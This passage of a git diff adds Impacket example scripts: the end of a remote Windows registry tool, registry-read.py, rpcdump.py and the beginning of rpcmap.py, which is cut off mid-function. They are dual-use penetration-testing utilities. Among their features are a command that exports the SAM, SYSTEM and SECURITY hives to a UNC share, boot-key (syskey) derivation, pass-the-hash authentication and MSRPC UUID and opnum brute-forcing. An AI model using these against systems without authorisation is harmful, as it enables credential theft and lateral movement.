+                        print('Error 0x%08x in deletion of value %s\\%s' % (
+                            ans5['ErrorCode'], keyName, subKey
+                        ))
+                except Exception as e:
+                    print('Unhandled error %s in deletion of value %s\\%s' % (
+                        str(e), keyName, subKey
+                    ))
+
+    def __strip_root_key(self, dce, keyName):
+        # Let's strip the root key
+        try:
+            rootKey = keyName.split('\\')[0]
+            subKey = '\\'.join(keyName.split('\\')[1:])
+        except Exception:
+            raise Exception('Error parsing keyName %s' % keyName)
+        if rootKey.upper() == 'HKLM':
+            ans = rrp.hOpenLocalMachine(dce)
+        elif rootKey.upper() == 'HKU':
+            ans = rrp.hOpenCurrentUser(dce)
+        elif rootKey.upper() == 'HKCR':
+            ans = rrp.hOpenClassesRoot(dce)
+        else:
+            raise Exception('Invalid root key %s ' % rootKey)
+        hRootKey = ans['phKey']
+        return hRootKey, subKey
+
+    def __print_key_values(self, rpc, keyHandler):
+        i = 0
+        while True:
+            try:
+                ans4 = rrp.hBaseRegEnumValue(rpc, keyHandler, i)
+                lp_value_name = ans4['lpValueNameOut'][:-1]
+                if len(lp_value_name) == 0:
+                    lp_value_name = '(Default)'
+                lp_type = ans4['lpType']
+                lp_data = b''.join(ans4['lpData'])
+                print('\t' + lp_value_name + '\t' + self.__regValues.get(lp_type, 'KEY_NOT_FOUND') + '\t', end=' ')
+                self.__parse_lp_data(lp_type, lp_data)
+                i += 1
+            except rrp.DCERPCSessionError as e:
+                if e.get_error_code() == ERROR_NO_MORE_ITEMS:
+                    break
+
+    def __print_all_subkeys_and_entries(self, rpc, keyName, keyHandler, index):
+        index = 0
+        while True:
+            try:
+                subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index)
+                index += 1
+                ans = rrp.hBaseRegOpenKey(rpc, keyHandler, subkey['lpNameOut'],
+                                          samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS)
+                newKeyName = keyName + subkey['lpNameOut'][:-1] + '\\'
+                print(newKeyName)
+                self.__print_key_values(rpc, ans['phkResult'])
+                self.__print_all_subkeys_and_entries(rpc, newKeyName, ans['phkResult'], 0)
+            except rrp.DCERPCSessionError as e:
+                if e.get_error_code() == ERROR_NO_MORE_ITEMS:
+                    break
+            except rpcrt.DCERPCException as e:
+                if str(e).find('access_denied') >= 0:
+                    logging.error('Cannot access subkey %s, bypassing it' % subkey['lpNameOut'][:-1])
+                    continue
+                elif str(e).find('rpc_x_bad_stub_data') >= 0:
+                    logging.error('Fault call, cannot retrieve value for %s, bypassing it' % subkey['lpNameOut'][:-1])
+                    return
+                raise
+
+    @staticmethod
+    def __parse_lp_data(valueType, valueData):
+        try:
+            if valueType == rrp.REG_SZ or valueType == rrp.REG_EXPAND_SZ:
+                if type(valueData) is int:
+                    print('NULL')
+                else:
+                    print("%s" % (valueData.decode('utf-16le')[:-1]))
+            elif valueType == rrp.REG_BINARY:
+                print('')
+                hexdump(valueData, '\t')
+            elif valueType == rrp.REG_DWORD:
+                print("0x%x" % (unpack('<L', valueData)[0]))
+            elif valueType == rrp.REG_QWORD:
+                print("0x%x" % (unpack('<Q', valueData)[0]))
+            elif valueType == rrp.REG_NONE:
+                try:
+                    if len(valueData) > 1:
+                        print('')
+                        hexdump(valueData, '\t')
+                    else:
+                        print(" NULL")
+                except:
+                    print(" NULL")
+            elif valueType == rrp.REG_MULTI_SZ:
+                print("%s" % (valueData.decode('utf-16le')[:-2]))
+            else:
+                print("Unknown Type 0x%x!" % valueType)
+                hexdump(valueData)
+        except Exception as e:
+            logging.debug('Exception thrown when printing reg value %s' % str(e))
+            print('Invalid data')
+            pass
+
+
+if __name__ == '__main__':
+
+    # Init the example's logger theme
+    logger.init()
+    # Explicitly changing the stdout encoding format
+    if sys.stdout.encoding is None:
+        # Output is redirected to a file
+        sys.stdout = codecs.getwriter('utf8')(sys.stdout)
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help=True, description="Windows Register manipulation script.")
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    subparsers = parser.add_subparsers(help='actions', dest='action')
+
+    # A query command
+    query_parser = subparsers.add_parser('query', help='Returns a list of the next tier of subkeys and entries that '
+                                                       'are located under a specified subkey in the registry.')
+    query_parser.add_argument('-keyName', action='store', required=True,
+                              help='Specifies the full path of the subkey. The '
+                                   'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,'
+                                   ' HKU, HKCR.')
+    query_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry '
+                           'value name that is to be queried. If omitted, all value names for keyName are returned. ')
+    query_parser.add_argument('-ve', action='store_true', default=False, required=False, help='Queries for the default '
+                                                                         'value or empty value name')
+    query_parser.add_argument('-s', action='store_true', default=False, help='Specifies to query all subkeys and value '
+                                                                             'names recursively.')
+
+    # An add command
+    add_parser = subparsers.add_parser('add', help='Adds a new subkey or entry to the registry')
+    add_parser.add_argument('-keyName', action='store', required=True,
+                              help='Specifies the full path of the subkey. The '
+                                   'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,'
+                                   ' HKU, HKCR.')
+    add_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry '
+                           'value name that is to be set.')
+    add_parser.add_argument('-vt', action='store', metavar="VALUETYPE", required=False, help='Specifies the registry '
+                           'type name that is to be set. Default is REG_SZ. Valid types are: REG_NONE, REG_SZ, REG_EXPAND_SZ, '
+                           'REG_BINARY, REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_LINK, REG_MULTI_SZ, REG_QWORD',
+                            default='REG_SZ')
+    add_parser.add_argument('-vd', action='store', metavar="VALUEDATA", required=False, help='Specifies the registry '
+                           'value data that is to be set.', default='')
+
+    # An delete command
+    delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry')
+    delete_parser.add_argument('-keyName', action='store', required=True,
+                              help='Specifies the full path of the subkey. The '
+                                   'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,'
+                                   ' HKU, HKCR.')
+    delete_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry '
+                           'value name that is to be deleted.')
+    delete_parser.add_argument('-va', action='store_true', required=False, help='Delete all values under this key.')
+    delete_parser.add_argument('-ve', action='store_true', required=False, help='Delete the value of empty value name (Default).')
+
+    # A copy command
+    # copy_parser = subparsers.add_parser('copy', help='Copies a registry entry to a specified location in the remote '
+    #                                                   'computer')
+
+    #A save command
+    save_parser = subparsers.add_parser('save', help='Saves a copy of specified subkeys, entries, and values of the '
+                                                    'registry in a specified file.')
+    save_parser.add_argument('-keyName', action='store', required=True,
+                               help='Specifies the full path of the subkey. The '
+                                    'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,'
+                                    ' HKU, HKCR.')
+    save_parser.add_argument('-o', dest='outputPath', action='store', metavar='\\\\192.168.0.2\share', required=True, help='Output UNC path the target system must export the registry saves to')
+
+    # A special backup command to save HKLM\SAM, HKLM\SYSTEM and HKLM\SECURITY
+    backup_parser = subparsers.add_parser('backup', help='(special command) Backs up HKLM\SAM, HKLM\SYSTEM and HKLM\SECURITY to a specified file.')
+    backup_parser.add_argument('-o', dest='outputPath', action='store', metavar='\\\\192.168.0.2\share', required=True,
+                             help='Output UNC path the target system must export the registry saves to')
+
+    # A load command
+    # load_parser = subparsers.add_parser('load', help='Writes saved subkeys and entries back to a different subkey in '
+    #                                                 'the registry.')
+
+    # An unload command
+    # unload_parser = subparsers.add_parser('unload', help='Removes a section of the registry that was loaded using the '
+    #                                                     'reg load operation.')
+
+    # A compare command
+    # compare_parser = subparsers.add_parser('compare', help='Compares specified registry subkeys or entries')
+
+    # A export command
+    # status_parser = subparsers.add_parser('export', help='Creates a copy of specified subkeys, entries, and values into'
+    #                                                     'a file')
+
+    # A import command
+    # import_parser = subparsers.add_parser('import', help='Copies a file containing exported registry subkeys, entries, '
+    #                                                     'and values into the remote computer\'s registry')
+
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true",
+                       help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on '
+                            'target parameters. If valid credentials cannot be found, it will use the ones specified '
+                            'in the command line')
+    group.add_argument('-aesKey', action="store", metavar="hex key",
+                       help='AES key to use for Kerberos Authentication (128 or 256 bits)')
+
+    group = parser.add_argument_group('connection')
+
+    group.add_argument('-dc-ip', action='store', metavar="ip address",
+                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
+                            'the target parameter')
+    group.add_argument('-target-ip', action='store', metavar="ip address",
+                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
+                            'This is useful when target is the NetBIOS name and you cannot resolve it')
+    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
+                       help='Destination port to connect to SMB Server')
+
+    if len(sys.argv) == 1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password, remoteName = parse_target(options.target)
+
+    if options.target_ip is None:
+        options.target_ip = remoteName
+
+    if domain is None:
+        domain = ''
+
+    if options.aesKey is not None:
+        options.k = True
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+
+        password = getpass("Password:")
+
+    regHandler = RegHandler(username, password, domain, options)
+    try:
+        regHandler.run(remoteName, options.target_ip)
+    except Exception as e:
+        #import traceback
+        #traceback.print_exc()
+        logging.error(str(e))
diff --git a/examples/registry-read.py b/examples/registry-read.py
new file mode 100644
index 0000000..8f7de8f
--- /dev/null
+++ b/examples/registry-read.py
@@ -0,0 +1,172 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   A Windows Registry Reader Example
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   winregistry.py
+#
+
+from __future__ import division
+from __future__ import print_function
+import sys
+import argparse
+import ntpath
+from binascii import unhexlify, hexlify
+
+from impacket.examples import logger
+from impacket import version
+from impacket import winregistry
+
+
+def bootKey(reg):
+    baseClass = 'ControlSet001\\Control\\Lsa\\'
+    keys = ['JD','Skew1','GBG','Data']
+    tmpKey = ''
+
+    for key in keys:
+        tmpKey = tmpKey + unhexlify(reg.getClass(baseClass + key).decode('utf-16le')[:8])
+
+    transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
+
+    syskey = ''
+    for i in range(len(tmpKey)):
+        syskey += tmpKey[transforms[i]]
+
+    print(hexlify(syskey))
+
+def getClass(reg, className):
+    regKey = ntpath.dirname(className)
+    regClass = ntpath.basename(className)
+
+    value = reg.getClass(className)
+
+    if value is None:
+        return
+
+    print("[%s]" % regKey)
+
+    print("Value for Class %s: \n" % regClass, end=' ')
+
+    winregistry.hexdump(value,'   ')
+
+def getValue(reg, keyValue):
+    regKey = ntpath.dirname(keyValue)
+    regValue = ntpath.basename(keyValue)
+
+    value = reg.getValue(keyValue)
+
+    print("[%s]\n" % regKey)
+
+    if value is None:
+        return
+
+    print("Value for %s:\n    " % regValue, end=' ')
+    reg.printValue(value[0],value[1])
+
+def enumValues(reg, searchKey):
+    key = reg.findKey(searchKey)
+
+    if key is None:
+        return
+
+    print("[%s]\n" % searchKey)
+
+    values = reg.enumValues(key)
+    print(values)
+
+    for value in values:
+        print("  %-30s: " % value, end=' ')
+        data = reg.getValue('%s\\%s'%(searchKey,value.decode('utf-8')))
+        # Special case for binary string.. so it looks better formatted
+        if data[0] == winregistry.REG_BINARY:
+            print('')
+            reg.printValue(data[0],data[1])
+            print('')
+        else:
+            reg.printValue(data[0],data[1])
+
+def enumKey(reg, searchKey, isRecursive, indent='  '):
+    parentKey = reg.findKey(searchKey)
+
+    if parentKey is None:
+        return
+
+    keys = reg.enumKey(parentKey)
+
+    for key in keys:
+        print("%s%s" %(indent, key))
+        if isRecursive is True:
+            if searchKey == '\\':
+                enumKey(reg, '\\%s'%key,isRecursive,indent+'  ')
+            else:
+                enumKey(reg, '%s\\%s'%(searchKey,key),isRecursive,indent+'  ')
+
+def walk(reg, keyName):
+    return reg.walk(keyName)
+
+
+def main():
+    # Init the example's logger theme
+    logger.init()
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help = True, description = "Reads data from registry hives.")
+
+    parser.add_argument('hive', action='store', help='registry hive to open')
+    subparsers = parser.add_subparsers(help='actions', dest='action')
+    # A enum_key command
+    enumkey_parser = subparsers.add_parser('enum_key', help='enumerates the subkeys of the specified open registry key')
+    enumkey_parser.add_argument('-name', action='store', required=True, help='registry key')
+    enumkey_parser.add_argument('-recursive', dest='recursive', action='store_true', required=False, help='recursive search (default False)')
+
+    # A enum_values command
+    enumvalues_parser = subparsers.add_parser('enum_values', help='enumerates the values for the specified open registry key')
+    enumvalues_parser.add_argument('-name', action='store', required=True, help='registry key')
+
+    # A get_value command
+    getvalue_parser = subparsers.add_parser('get_value', help='retrieves the data for the specified registry value')
+    getvalue_parser.add_argument('-name', action='store', required=True, help='registry value')
+
+    # A get_class command
+    getclass_parser = subparsers.add_parser('get_class', help='retrieves the data for the specified registry class')
+    getclass_parser.add_argument('-name', action='store', required=True, help='registry class name')
+
+    # A walk command
+    walk_parser = subparsers.add_parser('walk', help='walks the registry from the name node down')
+    walk_parser.add_argument('-name', action='store', required=True, help='registry class name to start walking down from')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    reg = winregistry.Registry(options.hive)
+
+    if options.action.upper() == 'ENUM_KEY':
+        print("[%s]" % options.name)
+        enumKey(reg, options.name, options.recursive)
+    elif options.action.upper() == 'ENUM_VALUES':
+        enumValues(reg, options.name)
+    elif options.action.upper() == 'GET_VALUE':
+        getValue(reg, options.name)
+    elif options.action.upper() == 'GET_CLASS':
+        getClass(reg, options.name)
+    elif options.action.upper() == 'WALK':
+        walk(reg, options.name)
+
+    reg.close()
+
+if __name__ == "__main__":
+    main()
diff --git a/examples/rpcdump.py b/examples/rpcdump.py
new file mode 100644
index 0000000..37322e0
--- /dev/null
+++ b/examples/rpcdump.py
@@ -0,0 +1,214 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   DCE/RPC endpoint mapper dumper.
+#
+# Author:
+#   Javier Kohen
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   DCE/RPC.
+#
+
+from __future__ import division
+from __future__ import print_function
+import sys
+import logging
+import argparse
+
+from impacket.http import AUTH_NTLM
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket import uuid, version
+from impacket.dcerpc.v5 import transport, epm
+from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
+    RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
+    RPC_PROXY_RPC_OUT_DATA_404_ERR
+
+class RPCDump:
+    KNOWN_PROTOCOLS = {
+        135: {'bindstr': r'ncacn_ip_tcp:%s[135]'},
+        139: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]'},
+        443: {'bindstr': r'ncacn_http:[593,RpcProxy=%s:443]'},
+        445: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]'},
+        593: {'bindstr': r'ncacn_http:%s'}
+        }
+
+    def __init__(self, username = '', password = '', domain='', hashes = None, port=135):
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__port = port
+        self.__stringbinding = '' 
+        if hashes is not None:
+            self.__lmhash, self.__nthash = hashes.split(':')
+
+    def dump(self, remoteName, remoteHost):
+        """Dumps the list of endpoints registered with the mapper
+        listening at addr. remoteName is a valid host name or IP
+        address in string format.
+        """
+
+        logging.info('Retrieving endpoint list from %s' % remoteName)
+
+        entries = []
+
+        self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remoteName
+        logging.debug('StringBinding %s' % self.__stringbinding)
+        rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
+
+        if self.__port in [139, 445]:
+            # Setting credentials for SMB
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain,
+                                         self.__lmhash, self.__nthash)
+
+            # Setting remote host and port for SMB
+            rpctransport.setRemoteHost(remoteHost)
+            rpctransport.set_dport(self.__port)
+        elif self.__port in [443]:
+            # Setting credentials only for RPC Proxy, but not for the MSRPC level
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain,
+                                         self.__lmhash, self.__nthash)
+
+            # Usually when a server doesn't support NTLM, it also doesn't expose epmapper (nowadays
+            # only RDG servers may potentially expose a epmapper via RPC Proxy).
+            #
+            # Also if the auth is not NTLM, there is no way to get a target
+            # NetBIOS name, but epmapper ACL requires you to specify it.
+            rpctransport.set_auth_type(AUTH_NTLM)
+        else:
+            # We don't need to authenticate to 135 and 593 ports
+            pass
+
+        try:
+            entries = self.__fetchList(rpctransport)
+        except Exception as e:
+            #raise
+
+            # This may contain UTF-8
+            error_text = 'Protocol failed: %s' % e
+            logging.critical(error_text)
+
+            if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
+               RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
+               RPC_PROXY_CONN_A1_404_ERR in error_text or \
+               RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
+                logging.critical("This usually means the target does not allow "
+                                 "to connect to its epmapper using RpcProxy.")
+                return
+
+        # Display results.
+
+        endpoints = {}
+        # Let's groups the UUIDS
+        for entry in entries:
+            binding = epm.PrintStringBinding(entry['tower']['Floors'])
+            tmpUUID = str(entry['tower']['Floors'][0])
+            if (tmpUUID in endpoints) is not True:
+                endpoints[tmpUUID] = {}
+                endpoints[tmpUUID]['Bindings'] = list()
+            if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
+                endpoints[tmpUUID]['EXE'] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
+            else:
+                endpoints[tmpUUID]['EXE'] = 'N/A'
+            endpoints[tmpUUID]['annotation'] = entry['annotation'][:-1].decode('utf-8')
+            endpoints[tmpUUID]['Bindings'].append(binding)
+
+            if tmpUUID[:36] in epm.KNOWN_PROTOCOLS:
+                endpoints[tmpUUID]['Protocol'] = epm.KNOWN_PROTOCOLS[tmpUUID[:36]]
+            else:
+                endpoints[tmpUUID]['Protocol'] = "N/A"
+            #print("Transfer Syntax: %s" % entry['tower']['Floors'][1])
+     
+        for endpoint in list(endpoints.keys()):
+            print("Protocol: %s " % endpoints[endpoint]['Protocol'])
+            print("Provider: %s " % endpoints[endpoint]['EXE'])
+            print("UUID    : %s %s" % (endpoint, endpoints[endpoint]['annotation']))
+            print("Bindings: ")
+            for binding in endpoints[endpoint]['Bindings']:
+                print("          %s" % binding)
+            print("")
+
+        if entries:
+            num = len(entries)
+            if 1 == num:
+                logging.info('Received one endpoint.')
+            else:
+                logging.info('Received %d endpoints.' % num)
+        else:
+            logging.info('No endpoints found.')
+
+
+    def __fetchList(self, rpctransport):
+        dce = rpctransport.get_dce_rpc()
+
+        dce.connect()
+        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
+        #dce.bind(epm.MSRPC_UUID_PORTMAP)
+        #rpcepm = epm.DCERPCEpm(dce)
+
+        resp = epm.hept_lookup(None, dce=dce)
+
+        dce.disconnect()
+
+        return resp
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    # Init the example's logger theme
+    logger.init()
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help = True, description = "Dumps the remote RPC enpoints information via epmapper.")
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('connection')
+
+    group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If '
+                       'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '
+                       'name and you cannot resolve it')
+    group.add_argument('-port', choices=['135', '139', '443', '445', '593'], nargs='?', default='135', metavar="destination port",
+                       help='Destination port to connect to RPC Endpoint Mapper')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+ 
+    options = parser.parse_args()
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password, remoteName = parse_target(options.target)
+
+    if domain is None:
+        domain = ''
+
+    if password == '' and username != '' and options.hashes is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    if options.target_ip is None:
+        options.target_ip = remoteName
+
+    dumper = RPCDump(username, password, domain, options.hashes, int(options.port))
+
+    dumper.dump(remoteName, options.target_ip)
diff --git a/examples/rpcmap.py b/examples/rpcmap.py
new file mode 100644
index 0000000..a8b5e8c
--- /dev/null
+++ b/examples/rpcmap.py
@@ -0,0 +1,398 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Scan for listening MSRPC interfaces
+#
+#   This binds to the MGMT interface and gets a list of interface UUIDs.
+#   If the MGMT interface is not available, it takes a list of interface UUIDs
+#   seen in the wild and tries to bind to each interface.
+#
+#   If -brute-opnums is specified, the script tries to call each of the first N
+#   operation numbers for each UUID in turn and reports the outcome of each call.
+#
+#   This can generate a burst of connections to the given endpoint!
+#
+# Authors:
+#   Catalin Patulea <cat@vv.carleton.ca>
+#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
+#
+# TODO:
+#  [ ] The rpcmap.py connections are never closed. We need to close them.
+#      This will require changing SMB and RPC libraries.
+#
+
+from __future__ import division
+from __future__ import print_function
+import re
+import sys
+import logging
+import argparse
+
+from impacket.http import AUTH_BASIC
+from impacket.examples import logger, rpcdatabase
+from impacket.examples.utils import parse_credentials
+from impacket import uuid, version
+from impacket.dcerpc.v5.epm import KNOWN_UUIDS
+from impacket.dcerpc.v5 import transport, rpcrt, epm
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5.transport import DCERPCStringBinding, \
+    SMBTransport
+from impacket.dcerpc.v5 import mgmt
+from impacket.dcerpc.v5.rpch import RPC_PROXY_CONN_A1_401_ERR, \
+    RPC_PROXY_INVALID_RPC_PORT_ERR, RPC_PROXY_HTTP_IN_DATA_401_ERR, \
+    RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
+    RPC_PROXY_RPC_OUT_DATA_404_ERR
+
+
+class RPCMap():
+    def __init__(self, stringbinding='', authLevel=6, bruteUUIDs=False, uuids=(),
+        bruteOpnums=False, opnumMax=64, bruteVersions=False, versionMax=64):
+        try:
+            self.__stringbinding = DCERPCStringBinding(stringbinding)
+        except:
+            raise Exception("Provided stringbinding is not correct")
+
+        # Empty network address is used to specify that the network address
+        # must be obtained from NTLMSSP of RPC proxy.
+        if self.__stringbinding.get_network_address() == '' and \
+           not self.__stringbinding.is_option_set("RpcProxy"):
+            raise Exception("Provided stringbinding is not correct")
+
+        self.__authLevel      = authLevel
+        self.__brute_uuids    = bruteUUIDs
+        self.__uuids          = uuids
+        self.__brute_opnums   = bruteOpnums
+        self.__opnum_max      = opnumMax
+        self.__brute_versions = bruteVersions
+        self.__version_max    = versionMax
+
+        self.__msrpc_lockout_protection = False
+        self.__rpctransport   = transport.DCERPCTransportFactory(stringbinding)
+        self.__dce            = self.__rpctransport.get_dce_rpc()
+
+    def get_rpc_transport(self):
+        return self.__rpctransport
+
+    def set_transport_credentials(self, username, password, domain='', hashes=None):
+        if hashes is not None:
+            lmhash, nthash = hashes.split(':')
+        else:
+            lmhash = ''
+            nthash = ''
+
+        if hasattr(self.__rpctransport, 'set_credentials'):
+            self.__rpctransport.set_credentials(username, password, domain, lmhash, nthash)
+
+    def set_rpc_credentials(self, username, password, domain='', hashes=None):
+        if hashes is not None:
+            lmhash, nthash = hashes.split(':')
+        else:
+            lmhash = ''
+            nthash = ''
+
+        if hasattr(self.__dce, 'set_credentials'):
+            self.__dce.set_credentials(username, password, domain, lmhash, nthash)
+
+        if username != '' or password != '' or hashes != '':
+            self.__msrpc_lockout_protection = True
+
+    def set_smb_info(self, smbhost=None, smbport=None):
+        if isinstance(self.__rpctransport, SMBTransport):
+            if smbhost:
+                self.__rpctransport.setRemoteHost(smbhost)
+            if smbport:
+                self.__rpctransport.set_dport(smbport)
+
+    def connect(self):
+        self.__dce.set_auth_level(self.__authLevel)
+        self.__dce.connect()
+
+    def disconnect(self):
+        self.__dce.disconnect()
+
+    def do(self):
+        try:
+            # Connecting to MGMT interface
+            self.__dce.bind(mgmt.MSRPC_UUID_MGMT)
+
+            # Retrieving interfaces UUIDs from the MGMT interface
+            ifids = mgmt.hinq_if_ids(self.__dce)
+
+            # If -brute-uuids is set, bruteforcing UUIDs instead of parsing ifids
+            # We must do it after mgmt.hinq_if_ids to prevent a specified account from being locked out
+            if self.__brute_uuids:
+                self.bruteforce_uuids()
+                return
+
+            uuidtups = set(
+                uuid.bin_to_uuidtup(ifids['if_id_vector']['if_id'][index]['Data'].getData())
+                for index in range(ifids['if_id_vector']['count'])
+              )
+
+            # Adding MGMT interface itself
+            uuidtups.add(('AFA8BD80-7D8A-11C9-BEF4-08002B102989', '1.0'))
+
+            for tup in sorted(uuidtups):
+                self.handle_discovered_tup(tup)
+        except DCERPCException as e:
+            # nca_s_unk_if for Windows SMB
+            # reason_not_specified for Samba 4
+            # abstract_syntax_not_supported for Samba 3
+            if str(e).find('nca_s_unk_if') >= 0 or \
+               str(e).find('reason_not_specified') >= 0 or \
+               str(e).find('abstract_syntax_not_supported') >= 0:
+                logging.info("Target MGMT interface not available")
+                logging.info("Bruteforcing UUIDs. The result may not be complete.")
+                self.bruteforce_uuids()
+            elif str(e).find('rpc_s_access_denied') and self.__msrpc_lockout_protection == False:
+                logging.info("Target MGMT interface requires authentication, but no credentials provided.")
+                logging.info("Bruteforcing UUIDs. The result may not be complete.")
+                self.bruteforce_uuids()
+            else:
+                raise
+
+    def bruteforce_versions(self, interface_uuid):
+        results = []
+
+        for i in range(self.__version_max + 1):
+            binuuid = uuid.uuidtup_to_bin((interface_uuid, "%d.0" % i))
+            # Is there a way to test multiple opnums in a single rpc channel?
+            self.__dce.connect()
+
+            try:
+                self.__dce.bind(binuuid)
+            except Exception as e:
+                if str(e).find("abstract_syntax_not_supported") >= 0:
+                    results.append("abstract_syntax_not_supported (version not supported)")
+                else:
+                    results.append(str(e))
+            else:
+                results.append("success")
+
+        if len(results) > 1 and results[-1] == results[-2]:
+            suffix = results[-1]
+            while results and results[-1] == suffix:
+                results.pop()
+
+            for i, result in enumerate(results):
+                print("Versions %d: %s" % (i, result))
+
+            print("Versions %d-%d: %s" % (len(results), self.__version_max, suffix))
+        else:
+            for i, result in enumerate(results):
+                print("Versions %d: %s" % (i, result))
+
+    def bruteforce_opnums(self, binuuid):
+        results = []
+
+        for i in range(self.__opnum_max + 1):
+            # Is there a way to test multiple opnums in a single rpc channel?
+            self.__dce.connect()
+            self.__dce.bind(binuuid)
+            self.__dce.call(i, b"")
+
+            try:
+                self.__dce.recv()
+            except Exception as e:
+                if str(e).find("nca_s_op_rng_error") >= 0:
+                    results.append("nca_s_op_rng_error (opnum not found)")
+                else:
+                    results.append(str(e))
+            else:
+                results.append("success")
+
+        if len(results) > 1 and results[-1] == results[-2]:
+            suffix = results[-1]
+            while results and results[-1] == suffix:
+                results.pop()
+
+            for i, result in enumerate(results):
+                print("Opnum %d: %s" % (i, result))
+
+            print("Opnums %d-%d: %s" % (len(results), self.__opnum_max, suffix))
+        else:
+            for i, result in enumerate(results):
+                print("Opnum %d: %s" % (i, result))
+
+    def bruteforce_uuids(self):
+        for tup in sorted(self.__uuids):
+            # Is there a way to test multiple UUIDs in a single rpc channel?
+            self.__dce.connect()
+            binuuid = uuid.uuidtup_to_bin(tup)
+
+            try:
+                self.__dce.bind(binuuid)
+            except rpcrt.DCERPCException as e:
+                # For Windows SMB
+                if str(e).find('abstract_syntax_not_supported') >= 0:
+                   continue
+                # For Samba
+                if str(e).find('nca_s_proto_error') >= 0:
+                   continue
+                # For Samba
+                if str(e).find('reason_not_specified') >= 0:
+                   continue
+
+            self.handle_discovered_tup(tup)
+
+        logging.info("Tested %d UUID(s)", len(self.__uuids))
+
+    def handle_discovered_tup(self, tup):
